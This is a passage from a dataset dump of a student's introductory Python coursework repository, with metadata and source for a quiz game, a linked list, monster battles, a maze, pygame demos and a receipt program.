"text": "class Question:\n\n def __init__(self, prompt = '', ans1 = '', ans2 = '', ans3 = '', ans4 = '', ansCorrect = 0):\n self.__prompt = prompt\n self.__ans1 = ans1\n self.__ans2 = ans2\n self.__ans3 = ans3\n self.__ans4 = ans4\n self.__ansCorrect = ansCorrect\n\n def __str__(self):\n return str(self.__prompt)\n\n def getPrompt(self):\n return self.__prompt\n\n def getAns1(self):\n return self.__ans1\n\n def getAns2(self):\n return self.__ans2\n\n def getAns3(self):\n return self.__ans3\n\n def getAns4(self):\n return self.__ans4\n\n def getAnsCorrect(self):\n return self.__ansCorrect\n \n def setPrompt(self, question):\n self.__prompt = question\n\n def setAns1(self, ans):\n self.__ans1 = ans\n \n def setAns2(self, ans):\n self.__ans2 = ans\n\n def setAns3(self, ans):\n self.__ans3 = ans\n \n def setAns4(self, ans):\n self.__ans4 = ans\n \n def setAnsCorrect(self, ans):\n self.__ansCorrect = ans\n\n def askQuestion(self):\n return ('{}\\n1. {}\\n2. {}\\n3. {}\\n4. {}'.format(self.__prompt, self.__ans1, self.__ans2, self.__ans3, self.__ans4))\n \n\n\n \n \n "
},
{
"alpha_fraction": 0.6397216320037842,
"alphanum_fraction": 0.6700571179389954,
"avg_line_length": 37.1224479675293,
"blob_id": "f704bef3b6d74968ab787d74d6f75026e2868d25",
"content_id": "403c021ee3f4a76c4ef391d4a80b4a547db62ea3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5604,
"license_type": "no_license",
"max_line_length": 175,
"num_lines": 147,
"path": "/homework1_main.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from homework1 import Question\nclass invalidAnswerError(Exception):\n pass\ndef getAns():\n invalid = True\n while (invalid):\n try:\n userAns = int(input('Enter your answer: '))\n if userAns not in range(1,5):\n raise invalidAnswerError\n invalid = False\n return userAns\n except (invalidAnswerError, ValueError):\n print('Error: enter a valid answer')\n continue\n\n \nif __name__ == \"__main__\":\n print('Welcome to the Adventure Time Episode Quiz')\n for x in range(20):\n print('-', end = '')\n print('Match the epsiode description to the title of the episode.')\n \n questionList = []\n \n question1 = Question()\n question1.setPrompt('Princess Bubblegum accidentally made a potion thing that was supposes to bring people back alive, but turned them into zombies instead.')\n question1.setAns1('Wizard')\n question1.setAns2('What is Life?')\n question1.setAns3('Slumber Party Panic')\n question1.setAns4('Dungeon')\n question1.setAnsCorrect(3)\n questionList.append(question1)\n\n question2 = Question()\n question2.setPrompt(\"Marceline takes Finn and Jake's treehouse\")\n question2.setAns1('Evicted!')\n question2.setAns2('Gut Grinder')\n question2.setAns3('Rainy Day Daydream')\n question2.setAns4('What Have You Done?')\n question2.setAnsCorrect(1)\n questionList.append(question2)\n\n question3 = Question()\n question3.setPrompt(\"Marceline and her ghost friends tricks Finn and Jake that they made them into vampires, but her ghost friends try to kill Finn and Jake.\")\n question3.setAns1('The Real You')\n question3.setAns2('Death in Blossom')\n question3.setAns3('The Limit')\n question3.setAns4('Heat Signature')\n question3.setAnsCorrect(4)\n questionList.append(question3)\n\n question4 = Question()\n question4.setPrompt(\"A deer rampages in the candy kingdom, breaks Finn's Legs, and hits Jake's Head. Finn wakes up and Jake has gone crazy acting like it's his birthday.\")\n question4.setAns1('No One Can Hear You')\n question4.setAns2('Wizard Battle')\n question4.setAns3('From Bad to Worse')\n question4.setAns4('The New Frontier')\n question4.setAnsCorrect(1)\n questionList.append(question4)\n\n question5 = Question()\n question5.setPrompt('Lady Ranicorn and Princess Bubblegum save Finn and Jake from Iceking')\n question5.setAns1('Return to the Nightosphere')\n question5.setAns2('In Your Footsteps')\n question5.setAns3('Lady and Peebles')\n question5.setAns4('Too Young')\n question5.setAnsCorrect(3)\n questionList.append(question5)\n\n question6 = Question()\n question6.setPrompt(\"BMO tries to solve the mystery of Finn's missing sock\")\n question6.setAns1('Burning Low')\n question6.setAns2('Gotcha!')\n question6.setAns3('You Made Me')\n question6.setAns4('BMO Noire')\n question6.setAnsCorrect(4)\n questionList.append(question6)\n\n question7 = Question()\n question7.setPrompt(\"Ice King takes princess's body parts and Finn and Jake investigate\")\n question7.setAns1('The Hard Easy')\n question7.setAns2('I Remember You')\n question7.setAns3('Princess Monster Wife')\n question7.setAns4('Two Sword')\n question7.setAnsCorrect(3)\n questionList.append(question7)\n\n question8 = Question()\n question8.setPrompt('Finn and Jake try to wake up Marceline by going into her memories, but after they do, her ex-bf tricked them into Marceline liking him again')\n question8.setAns1('Memory of a Memory')\n question8.setAns2('The Creeps')\n question8.setAns3('Orb')\n question8.setAns4('What Was Missing')\n question8.setAnsCorrect(1)\n questionList.append(question8)\n\n question9 = Question()\n question9.setPrompt('Finn tells lies cause to trouble between Ice King and Flame Princess.')\n question9.setAns1('Shh!')\n question9.setAns2('Frost and Fire')\n question9.setAns3('All Your Fault')\n question9.setAns4('Bad Little Boy')\n question9.setAnsCorrect(2)\n questionList.append(question9)\n\n question10 = Question()\n question10.setPrompt('Fern takes Finn to a dungeon to trap Finn, so Fern can become the real Finn')\n question10.setAns1('Three Buckets')\n question10.setAns2('The Wild Hunt')\n question10.setAns3('Son of Rap Bear')\n question10.setAns4('Come Along with Me')\n question10.setAnsCorrect(1)\n questionList.append(question10)\n\n playerNum = 1\n player1Score = 0\n player2Score = 0\n\n for questionNumber in range(len(questionList)):\n print('Player {}, here is your question: '.format(playerNum))\n print(questionList[questionNumber].askQuestion())\n if playerNum == 1:\n if getAns() == questionList[questionNumber].getAnsCorrect():\n print('Correct')\n player1Score += 1\n \n else:\n print('Incorrect')\n print('Player {} score: {}'.format(playerNum, player1Score))\n playerNum = 2\n elif playerNum == 2:\n if getAns() == questionList[questionNumber].getAnsCorrect():\n print('Correct')\n player2Score += 1\n\n else:\n print('Incorrect')\n print('Player {} score: {}'.format(playerNum, player2Score))\n playerNum = 1\n print('Final score:\\nPlayer 1: {}\\nPlayer 2: {}'.format(player1Score, player2Score))\n if player1Score == player2Score:\n print('Tie')\n elif player1Score > player2Score:\n print('Player 1 wins')\n elif player2Score > player1Score:\n print('Player 2 wins')\n"
},
{
"alpha_fraction": 0.5694022178649902,
"alphanum_fraction": 0.588145911693573,
"avg_line_length": 24.30769157409668,
"blob_id": "7da9013e0c55374befcea697157a2de9e842d9f9",
"content_id": "3f4f21fc2664b13713ca442cce14f0e2bed82e43",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1974,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 78,
"path": "/lab8.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from BST import *\nimport random\nimport matplotlib.pyplot as plt\nimport time\n\n\ndef populate(n):\n myList = []\n myBST = BST()\n while len(myList) != n:\n randNum = (random.randrange(0, n + 1))\n myList.append(randNum)\n myBST.append(randNum)\n return (myList, myBST)\n\ndef isIn(myList, num):\n for x in myList:\n if x == num:\n return True\n return False\n\ndef timing(myList, myBST):\n listTime1 = time.time()\n for val in myList:\n isIn(myList, val)\n listTime2 = time.time()\n listTimeFinal = listTime2 - listTime1\n bstTime1 = time.time()\n for val in myList:\n myBST.isin(val)\n bstTime2 = time.time()\n bstTimeFinal = bstTime2 - bstTime1\n print(\"List time: {}\\nBST time: {}\".format(listTimeFinal, bstTimeFinal))\n return (listTimeFinal, bstTimeFinal)\n \nif __name__ == \"__main__\":\n tup=populate(100)\n newList=tup[0]\n newBST=tup[1]\n count=0\n for val in newList:\n if isIn(newList, val):\n count += 1\n print(count)\n bstTimes = []\n listTimes = []\n xVals = []\n for n in range(1, 10000, 1000):\n newTup = populate(n)\n newList = newTup[0]\n newBST = newTup[1]\n times = timing(newList, newBST)\n listTime = times[0]\n bstTime = times[1]\n listTimes.append(listTime)\n bstTimes.append(bstTime)\n xVals.append(n)\n listTotal = 0\n bstTotal = 0\n listCount = 0\n bstCount = 0\n listAverage = []\n bstAverage = []\n for x in listTimes:\n listTotal += x\n listCount += 1\n listAverage.append(listTotal/listCount)\n for y in bstTimes:\n bstTotal += y\n bstCount += 1\n bstAverage.append(bstTotal/bstCount)\n plt.plot(xVals, listTimes, label=\"List times\")\n plt.plot(xVals, bstTimes, label=\"BST times\")\n\n plt.plot(xVals, listAverage, label =\"list average\")\n plt.plot(xVals, bstAverage, label = \"bst average\")\n plt.legend()\n plt.show()\n"
},
{
"alpha_fraction": 0.6115108132362366,
"alphanum_fraction": 0.6115108132362366,
"avg_line_length": 33.769229888916016,
"blob_id": "ec8d3ebf49dac066a2ead84b00272fd87eec1472",
"content_id": "f1db0ddcce1c8957a1de2a9d9f08ff78619a5ec1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1807,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 52,
"path": "/maze.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from room import *\nclass Maze:\n #Inputs: Pointer to start room and exit room\n #Sets current to be start room\n def __init__(self,st=None,ex=None):\n #Room the player starts in\n self.__start_room = st\n #If the player finds this room they win\n self.__exit_room = ex\n #What room is the player currently in\n self.__current = st\n #Return the room the player is in (current)\n def getCurrent(self):\n return self.__current\n #The next four all have the same idea\n #See if there is a room in the direction\n #If the direction is None, then it is impossible to go that way\n #in this case return false\n #If the direction is not None, then it is possible to go this way\n #Update current to the new move (move the player)\n #then return true so the main program knows it worked.\n def setCurrent(self, room):\n self.__current = room\n def moveNorth(self):\n if self.getCurrent().getNorth() == None:\n return False\n return True\n def moveSouth(self):\n if self.getCurrent().getSouth() == None:\n return False\n return True\n def moveEast(self):\n if self.getCurrent().getEast() == None:\n return False\n return True\n def moveWest(self):\n if self.getCurrent().getWest() == None:\n return False\n return True\n #If the current room is the exit,\n #then the player won! return true\n #otherwise return false\n def atExit(self):\n if self.__current == self.__exit_room:\n return True\n else:\n return False\n #If you get stuck in the maze, you should be able to go\n #back to the start\n #This sets current to be the start_room\n def reset(self):\n self.__current == self.__start_room"
},
{
"alpha_fraction": 0.49651235342025757,
"alphanum_fraction": 0.5003170371055603,
"avg_line_length": 25.74576187133789,
"blob_id": "0c59f198c4d52d46d183f1c98a17801e75aee883",
"content_id": "68745a20808c368ad00d35abe1fd9c888f0dd612",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1577,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 59,
"path": "/Homework4/LinkedList.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Tim Harris tlh339 - LinkedList class\nfrom Node import Node\nclass LinkedList:\n #from class notes\n def __init__(self):\n self.__head = None\n\n def isEmpty(self):\n return self.__head == None\n\n def append(self, data):\n newNode = Node(data)\n\n if self.isEmpty():\n self.__head = newNode\n else:\n current = self.__head\n while current.getNext() != None:\n current = current.getNext()\n current.setNext(newNode)\n\n def remove(self, item):\n current = self.__head\n previous = None\n found = False\n\n while not found:\n if current.getData() == item:\n found == True\n else:\n previous = current\n current = current.getNext()\n\n if previous == None:\n self.__head = current.getNext()\n else:\n previous.setNext(current.getNext())\n\n def __len__(self):\n if self.__head == None:\n return 0\n current = self.__head\n counter = 1\n while current.getNext() != None:\n counter += 1\n current = current.getNext()\n return counter\n def __str__(self):\n string = \"\"\n current = self.__head\n while current != None:\n string += str(current.getData()) + '->'\n current = current.getNext()\n return string\n def __getitem__(self, index):\n current = self.__head\n for i in range(index):\n current = current.getNext()\n return current.getData()"
},
{
"alpha_fraction": 0.5960279107093811,
"alphanum_fraction": 0.6056307554244995,
"avg_line_length": 23.767566680908203,
"blob_id": "fe14afeb8ed1685bff37c3cec4406bc67de2960a",
"content_id": "622d96a1d366380d70b433f2a087b43f12049855",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4582,
"license_type": "no_license",
"max_line_length": 183,
"num_lines": 185,
"path": "/lab4_monsters.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from monster import monster\n\nclass bear(monster): \n def __init__(self, name=\"8 F***ing bears\", description=\"They're 8 bears\", basicName=\"Claw\", defenseName=\"Block\", specialName=\"Hybernate\", health = 40):\n self.__name = name\n self.__description = description\n self.__basicName = basicName\n self.__defenseName = defenseName\n self.__specialName = specialName\n self.__health = health\n def __str__(self):\n return self.__name\n\n def getName(self):\n return self.__name\n\n def getDescription(self):\n return self.__description\n\n def basicAttack(self, enemy):\n enemy.doDamage(10)\n\n def basicName(self):\n return self.__basicName\n\n def defenseAttack(self, enemy):\n self.doDamage(-10)\n\n def defenseName(self):\n return self.__defenseName\n\n def specialAttack(self, enemy):\n self.resetHealth()\n \n def specialName(self):\n return self.__specialName\n \n def getHealth(self):\n return self.__health\n \n def doDamage(self, damage):\n self.__health -= damage\n \n def resetHealth(self):\n self.__health = 40\n\nclass lapras(monster):\n def __init__(self, name=\"Lapras\", description=\"A water type pokemon\", basicName=\"Blizzard Burn\", defenseName=\"Block\", specialName=\"Ice Beam\", health = 190):\n self.__name = name\n self.__description = description\n self.__basicName = basicName\n self.__defenseName = defenseName\n self.__specialName = specialName\n self.__health = health\n \n def __str__(self):\n return str(self.__name)\n \n def getName(self):\n return self.__name\n \n def getDescription(self):\n return self.__description\n\n def basicAttack(self, enemy):\n enemy.doDamage(160)\n\n def basicName(self):\n return self.__basicName\n\n def defenseAttack(self, enemy):\n self.doDamage(-10)\n\n def defenseName(self):\n return self.__defenseName\n\n def specialAttack(self, enemy):\n enemy.doDamage(100)\n self.resetHealth()\n\n def specialName(self):\n return self.__specialName\n\n def getHealth(self):\n return self.__health\n\n def doDamage(self, damage):\n self.__health -= damage\n\n def resetHealth(self):\n self.__health = 160\n\n\nclass pile(monster):\n\n def __init__(self, name='Pile of Sh*t', description='It\\'s a literal pile of sh*t', basicName='Splatter', defenseName='Steam', specialName='Waft', health=45):\n self.__name = name\n self.__description = description\n self.__basicName = basicName\n self.__defenseName = defenseName\n self.__specialName = specialName\n self.__health = health\n\n def __str__(self):\n return str(self.__name)\n\n def getName(self):\n return self.__name\n\n def getDescription(self):\n return self.__description\n\n def basicAttack(self, enemy):\n enemy.doDamage(10)\n\n def basicName(self):\n return self.__basicName\n\n def defenseAttack(self, enemy):\n self.doDamage(-10)\n\n def defenseName(self):\n return self.__defenseName\n\n def specialAttack(self, enemy):\n enemy.doDamage(20)\n\n def specialName(self):\n return self.__specialName\n\n def getHealth(self):\n return self.__health\n\n def doDamage(self, damage):\n self.__health -= damage\n\n def resetHealth(self):\n self.__health = 45\n\n\nclass tree(monster):\n\n def __init__(self, name='Oaker', description='Make like a Tree and have a kid with an Ogre.', basicName='Willow Womp', defenseName='Re-Root', specialName='Photosynthesis', health=200):\n self.__name = name\n self.__description = description\n self.__basicName = basicName\n self.__defenseName = defenseName\n self.__specialName = specialName\n self.__health = health\n\n def __str__(self):\n return str(self.__name)\n\n def getName(self):\n return self.__name\n\n def getDescription(self):\n return self.__description\n\n def basicAttack(self, enemy):\n enemy.doDamage(40)\n\n def basicName(self):\n return self.__basicName\n\n def defenseAttack(self, enemy):\n self.doDamage(-40)\n\n def defenseName(self):\n return self.__defenseName\n\n def specialAttack(self, enemy):\n self.resetHealth\n\n def specialName(self):\n return self.__specialName\n\n def getHealth(self):\n return self.__health\n\n def doDamage(self, damage):\n self.__health -= damage\n\n def resetHealth(self):\n self.__health = 200\n"
},
{
"alpha_fraction": 0.6797040104866028,
"alphanum_fraction": 0.6797040104866028,
"avg_line_length": 24.594594955444336,
"blob_id": "09df967dd269e6dd19275754ca674aeacfa27b17",
"content_id": "00fdaf20ebc3a37b3beceda48e9387e77fe97128",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 946,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 37,
"path": "/room.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "class Room:\n\t#Constructor sets the description\n\t#All four doors should be set to None to start\n\tdef __init__(self,descr):\n\t\t#Description of the room to print out\n\t\t#These should be unique so the player knows where they are\n\t\tself.__descr = descr\n\t\t#These either tell us what room we get to if we go through the door\n\t\t#or they are None if the \"door\" can't be taken.\n\t\tself.__north = None\n\t\tself.__south = None\n\t\tself.__east = None\n\t\tself.__west = None\n\t#Access\n\t#Return the correct values\n\tdef __str__(self):\n\t\treturn str(self.__descr)\n\tdef getNorth(self):\n\t\treturn self.__north\n\tdef getSouth(self):\n\t\treturn self.__south\n\tdef getEast(self):\n\t\treturn self.__east\n\tdef getWest(self):\n\t\treturn self.__west\n\t#Mutators\n\t#Update the values\n\tdef setDescription(self,d):\n\t\tself.__descr = d\n\tdef setNorth(self,n):\n\t\tself.__north = n\n\tdef setSouth(self,s):\n\t\tself.__south = s\n\tdef setEast(self,e):\n\t\tself.__east = e\n\tdef setWest(self,w):\n\t\tself.__west = w"
},
{
"alpha_fraction": 0.6376031637191772,
"alphanum_fraction": 0.6602081060409546,
"avg_line_length": 24.57798194885254,
"blob_id": "e8f55a8d3881d3c6b580679d0d28fecf1f165da0",
"content_id": "0867f0af5da769079a6baacd03a1aa98dbab8b40",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2787,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 109,
"path": "/lab4.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Mark Boady and Matthew Burlick\n#Drexel University 2018\n#CS 172\n\n\nfrom lab4_monsters import *\n\nimport random\n\n#This function has two monsters fight and returns the winner\ndef monster_battle(m1, m2):\n\n\t#first reset everyone's health!\n\t#####TODO######\n\tm1.resetHealth()\n\tm2.resetHealth()\n\n\t#next print out who is battling\n\tprint(\"Starting Battle Between\")\n\tprint(m1.getName()+\": \"+m1.getDescription())\n\tprint(m2.getName()+\": \"+m2.getDescription())\n\n\t\n\t#Whose turn is it?\n\tattacker = None\n\tdefender = None\n\tdraw = random.random()\n\tif (draw >= 0.5):\n\t\tattacker = m1\n\t\tdefender = m2\n\telse:\n\t\tattacker = m2\n\t\tdefender = m1\n\n\t#Select Randomly whether m1 or m2 is the initial attacker\n\t#to other is the initial definder\n\t######TODO######\n\t\n\t\n\tprint(attacker.getName()+\" goes first.\")\n\t#Loop until either 1 is unconscious or timeout\n\twhile( m1.getHealth() > 0 and m2.getHealth() > 0):\n\t\t#Determine what move the monster makes\n\t\t#Probabilities:\n\t\t#\t60% chance of standard attack\n\t\t#\t20% chance of defense move\n\t\t#\t20% chance of special attack move\n\n\t\t#Pick a number between 1 and 100\n\t\tmove = random.randint(1,100)\n\t\t#It will be nice for output to record the damage done\n\t\tbefore_health=defender.getHealth()\n\t\t\n\t\t#for each of these options, apply the appropriate attack and \n\t\t#print out who did what attack on whom\n\t\tif(move >=1 and move <= 60):\n\t\t\tattacker.basicAttack(defender)\n\t\t\tprint(\"{} used {} on {}\".format(attacker.getName(), attacker.basicName(), defender.getName()))\n\t\telif(move>=61 and move <= 80):\n\t\t\t#Defend!\n\t\t\tattacker.defenseAttack(defender)\n\t\t\tprint(\"{} used {} on {}\".format(attacker.getName(), attacker.defenseName(), defender.getName()))\n\t\telse:\n\t\t\t#Special Attack!\n\t\t\tattacker.specialAttack(defender)\n\t\t\tprint(\"{} used {} on {}\".format(attacker.getName(), attacker.specialName(), defender.getName()))\n\t\t\n\t\t\n\t\t#Swap attacker and defender\n\t\t######TODO######\n\t\ttemp = attacker\n\t\tattacker = defender\n\t\tdefender = temp\n\t\t#Print the names and healths after this round\n\t\t######TODO######\n\t\tprint(\"{} health: {}\\n{} health: {}\".format(attacker.getName(), attacker.getHealth(), defender.getName(), defender.getHealth()))\n\t#Return who won\n\t######TODO######\n\tif m1.getHealth() <= 0:\n\t\treturn m2\n\telse:\n\t\treturn m1\n\t\t\n#----------------------------------------------------\nif __name__==\"__main__\":\n\t#Every battle should be different, so we need to\n\t#start the random number generator somewhere \"random\".\n\t#With no input Python will set the seed\n\t\n\trandom.seed(0)\n\tfirst = bear()\n\tsecond = lapras()\n\t\n\twinner1 = monster_battle(first,second)\n\t\n\t#Print out who won\n\t####TODO####\n\tprint(\"{} wins\".format(winner1))\n\n\tthird = pile()\n\tfourth = tree()\n\n\twinner2 = monster_battle(third, fourth)\n\n\tprint(\"{} wins\".format(winner2))\n\n\twinner3 = monster_battle(winner1, winner2)\n\n\tprint(\"{} wins\".format(winner3))"
},
{
"alpha_fraction": 0.5375323295593262,
"alphanum_fraction": 0.586712658405304,
"avg_line_length": 27.14634132385254,
"blob_id": "ee4c077693b584d2c682265f364797716ca2dc32",
"content_id": "4edf600c9645fc1e8427ac14e6878a410045a359",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1159,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 41,
"path": "/lab5.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "import time\nimport random\nfrom Drawable import *\n\n\n\nsurface = pygame.display.set_mode((400,300))\n\ndrawables = []\nGREEN = (0, 153, 51)\nBLUE = (0, 0, 255)\nWHITE = (255, 255, 255)\nground = Rectangle(0, 200, 400, 100, GREEN)\nsky = Rectangle(0, 0, 400, 200, BLUE)\n\ndrawables.append(ground)\ndrawables.append(sky)\nclock = pygame.time.Clock()\ndisplay_rect = False\nwhile True:\n \n for event in pygame.event.get():\n if (event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and event.__dict__['key'] == pygame.K_q)):\n pygame.quit()\n exit()\n if event.type == pygame.KEYDOWN and event.__dict__['key'] == pygame.K_SPACE:\n \n display_rect = not display_rect\n \n if display_rect:\n if (random.randrange(0, 10) in range(0, 3)):\n newSnow = Snowflake(random.randrange(0, 400), 0, WHITE)\n drawables.append(newSnow)\n for drawable in drawables:\n if (isinstance(drawable, Snowflake)):\n drawable.setLoc([drawable.getX(), drawable.getY() + 1]) \n \n drawable.draw(surface)\n pygame.display.update()\n \n clock.tick(30)\n \n"
},
{
"alpha_fraction": 0.5342789888381958,
"alphanum_fraction": 0.5401891469955444,
"avg_line_length": 27.03333282470703,
"blob_id": "3e5cdaede2309f37641f788dd30ad83f82a2a2be",
"content_id": "98649e288051ea786a2701537be1f24b46f5743c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 846,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 30,
"path": "/Homework4/Employee.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Tim Harris tlh339 - Employee class\nclass Employee:\n def __init__(self, idNum, rate, hours=0, wages=0):\n self.__idNum = idNum\n self.__hours = hours\n self.__rate = rate\n self.__wages = wages\n \n #setters\n def setId(self, newId):\n self.__idNum = newId\n def setHours(self, newHours):\n self.__hours = newHours\n def setRate(self, newRate):\n self.__rate = newRate\n def setWage(self, newWage):\n self.__wages = newWage\n \n #getters\n def getId(self):\n return self.__idNum\n def getHours(self):\n return self.__hours\n def getRate(self):\n return self.__rate\n def getWage(self):\n return self.__wages\n \n def __str__(self):\n return str(self.__idNum) + \" \" + str(self.__hours) + \" \" + str(self.__rate) + \" \" + str(self.__wages)\n \n"
},
{
"alpha_fraction": 0.5533333420753479,
"alphanum_fraction": 0.5600000023841858,
"avg_line_length": 27.1875,
"blob_id": "69615703e75c5d4c47dea67616a1aad3f17fb4c0",
"content_id": "8c399158e30fa645aa74d6dda5566ad93e7da4fb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 450,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 16,
"path": "/Homework4/Node.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "#Tim Harris tlh339 - Node class\nclass Node:\n #from class notes\n def __init__(self, data, next = None):\n self.__data = data\n self.__next = next\n def getData(self):\n return self.__data\n def getNext(self):\n return self.__next\n def setData(self, newData):\n self.__data = newData\n def setNext(self, newNext):\n self.__next = newNext\n def __str__(self):\n return str(self.__data, self.__next)"
},
{
"alpha_fraction": 0.5529953837394714,
"alphanum_fraction": 0.5654377937316895,
"avg_line_length": 35.16666793823242,
"blob_id": "a1dee5acc2aa7d953aa3630cb66cf8917db09d6c",
"content_id": "c712125ca1b4225fac163f04643a798b6fbd9304",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2170,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 60,
"path": "/lab2.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "import datetime\nclass item():\n\n def __init__(self, _receipt__name, _receipt__price, _receipt__taxable):\n self._receipt__name = _receipt__name\n self._receipt__price = _receipt__price\n self._receipt__taxable = _receipt__taxable\n def __str__(self):\n return str(self._receipt__name)\n def getPrice(self):\n return self.__price\n def getTax(self, __tax_rate):\n return self.__price + (self.__price * receipt.__tax_rate)\nclass receipt():\n\n def __init__(self, __tax_rate = 0.07, __purchases = []):\n self.__tax_rate = __tax_rate\n self.__purchases = __purchases\n def __str__(self):\n return str(self.__purchases)\n def addItem(self, item):\n self.__purchases.append(item)\n def getItem(self, index):\n return self.__purchases[int(index)]\n def createReceipt(self, subtotal = 0, taxTotal = 0, total = 0):\n print(self.getItem(0))\n print((\"-----Receipt \" + str(datetime.datetime.now())+\"-----\"))\n print()\n for x in range(len(self.__purchases)):\n print(\"{:_<20}{:_>20.2f}\".format(self.getItem(x).__name, self.getItem(x).__price))\n subtotal += self.getItem(x).__price\n if (self.getItem(x).__taxable):\n taxTotal += self.getItem(x).__price * self.__tax_rate\n total = subtotal + taxTotal\n print()\n print(\"{:_<20}{:_>20.2f}\".format(\"Sub Total\", subtotal))\n print(\"{:_<20}{:_>20.2f}\".format(\"Tax\", taxTotal))\n print(\"{:_<20}{:_>20.2f}\".format(\"Total\", total))\n\nprint('Welcome to receipt creator')\nnewReceipt = receipt()\nend = True\nwhile (end):\n try:\n itemName = input('Enter Item Name: ')\n itemPrice = float(input('Enter Item Price: '))\n itemTaxable = input('Is the item taxable (yes/no): ')\n stop = input('Add another item (yes/no): ')\n except:\n print('Enter a valid item')\n continue\n if (itemTaxable == 'yes'):\n itemTaxable = True\n else:\n itemTaxable = False\n newItem = item(itemName, itemPrice, itemTaxable)\n newReceipt.addItem(newItem)\n if (stop == 'no'):\n end = False\nnewReceipt.createReceipt()\n"
},
{
"alpha_fraction": 0.5087040662765503,
"alphanum_fraction": 0.5593810677528381,
"avg_line_length": 29.05813980102539,
"blob_id": "45c820d39588217c7b9ad6ba382a21d7ee8b3b04",
"content_id": "c0ea7358d33001f6b5f0dc6a35190297f3470ab0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2585,
"license_type": "no_license",
"max_line_length": 156,
"num_lines": 86,
"path": "/Homework3/homework3.py",
"repo_name": "n0rrt/cs-172",
"src_encoding": "UTF-8",
"text": "from Drawable import *\nfrom Ball import *\nfrom Block import *\nfrom Text import *\nimport pygame\nimport random\npygame.init()\nsurface = pygame.display.set_mode((400, 300))\ncolors = {\"blue\": (51, 119, 255), \"red\": (255, 42, 0), \"green\": (34, 204, 0), \"white\" : (255, 255, 255), \"black\" : (0, 0, 0)}\ndrawables = []\nblocks = []\nrects = []\nball = Ball((30,200), True, 15, colors[\"blue\"])\ninitBlock = Block((300, 200), True, 15, colors[\"red\"])\ntext = Text((0, 0), True, colors[\"green\"])\nyv = 0\nxv = 0\ndrawables.append(ball)\ndrawables.append(initBlock)\ndrawables.append(text)\nrects.append(pygame.Rect(0,0,0,0))\nwhile len(blocks) < 6:\n newblock = Block((random.randrange(200, 300), 200), True, 15, colors[\"red\"]) \n newrect = newblock.get_rect()\n if newrect.collidelist(rects) == -1:\n blocks.append(newblock)\n rects.append(newrect)\n\n\ndef intersect(rect1, rect2):\n if (rect1.x < rect2.x + rect2.width) and(rect1.x + rect1.width > rect2.x) and (rect1.y < rect2.y + rect2.height) and(rect1.height + rect1.y > rect2.y):\n return True\n return False\nclock = pygame.time.Clock()\nscore = 0\ndt = 0.1\ng = 6.67\nR = 0.7\neta = 0.5\n\ny = ball.getPos()[1]\nx = ball.getPos()[0]\nwhile True:\n \n surface.fill(colors[\"white\"])\n pygame.draw.line(surface, colors[\"black\"], (400, 215), (0, 215))\n text.draw(surface, \"score: \" + str(score))\n ball.draw(surface)\n for event in pygame.event.get():\n if (event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and event.__dict__['key'] == pygame.K_q)):\n pygame.quit()\n exit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n initX = pygame.mouse.get_pos()[0]\n initY = pygame.mouse.get_pos()[1]\n if event.type == pygame.MOUSEBUTTONUP:\n finX = pygame.mouse.get_pos()[0]\n finY = pygame.mouse.get_pos()[1]\n\n xv = finX - initX\n yv = -1 * (finY - initY)\n if abs(yv) > 0.0001:\n x += (dt * xv)\n y -= (dt * yv)\n ball.setPos(int(x), int(y))\n\n if y > 200:\n yv = -1 * R * yv\n xv = eta * xv\n if x > 300:\n xv = -1 * R * xv\n else:\n yv = yv - (g * dt)\n ball.draw(surface)\n #pygame.draw.rect(surface, colors[\"black\"], ball.get_rect())\n for block in blocks:\n \n if intersect(ball.get_rect(), block.get_rect()):\n block.setVis(False)\n score += 1\n block.draw(surface)\n # pygame.draw.rect(surface, colors[\"green\"], rects[z])\n\n \n pygame.display.update()\n clock.tick(30)\n"
},
{
"alpha_fraction": 0.5308813452720642,
"alphanum_fraction": 0.5385149121284485,
"avg_line_length": 22.983333587646484,
"blob_id": "5e66719f615f924fa4d30504f27ff3f1647f21d3",
"content_id": "e1a86d3faf67dd0091f13197f2e131078e52697c",
"detected_licenses": [],
